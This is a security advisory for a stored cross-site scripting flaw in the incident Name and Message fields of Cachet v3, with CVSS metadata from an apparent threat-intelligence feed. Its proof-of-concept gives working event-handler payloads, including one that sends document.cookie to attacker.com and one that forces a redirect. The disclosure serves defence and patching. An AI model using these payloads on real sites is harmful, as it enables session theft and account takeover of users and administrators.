CVE-2026-113712
### Summary A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover. ### Details The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked. Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3 ### PoC 1. Log in as an authenticated user 2. Navigate to /dashboard/incidents/ 3. Create a new incident 4. Insert the following payloads in the Name and Message field: Payload 1 — Confirm XSS execution: ```<img src=x onerror="alert(1)">``` Step 2 — Cookie/token exfiltration: ```<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">``` Step 3 — Forced redirect to sensitive page: ```<img src=x onerror="window.location='/dashboard/manage-customization'">``` 5. Save the incident 6. Navigate to the public status page 7. Payload executes in the victim's browser ### Payload 1 <img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" /> ### Payload 2 <img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" /> Stored XSS affecting all users who view the public status page. An attacker can: - Confirm script execution via alert popup - Steal session cookies and XSRF tokens from authenticated users - Silently redirect victims to sensitive pages like `/dashboard/manage-customization` This vulnerability could lead to full account takeover of any user who views the status page, including administrators.
Properties
- Summary
- Cachet has Stored XSS in Incident Component
- Severity
- medium
- Nvd fetched at
- 2026-10-20T21:14:08.448323+00:00
- Cvss score
- 4.8
- Cvss severity
- MEDIUM
- Retrieved at
- 2026-10-21T01:23:59+00:00
- Ghsa published
- 2026-10-20T21:09:40Z
- Source url
- https://github.com/advisories/GHSA-x397-5hrv-j9m9
- Ghsa updated
- 2026-10-20T21:09:40Z
- Ghsa id
- GHSA-x397-5hrv-j9m9
- Last source
- GitHub Advisory Database
- Score
- 4.8
- Cvss version
- 4.0
- Cve id
- CVE-2026-113712
- Cvss vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- First seen by Signal
- 2026-10-20T21:15:35+00:00
- Is ghsa only
- false
- Vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Published at
- 2026-10-20T19:17:33.730
- Last modified
- 2026-10-20T19:17:33.847
Related Entities (3)
AFFECTS (1)
HAS_WEAKNESS (1)
VULNERABLE_TO (1)
Explore deeper with Ninja Signal's threat intelligence graph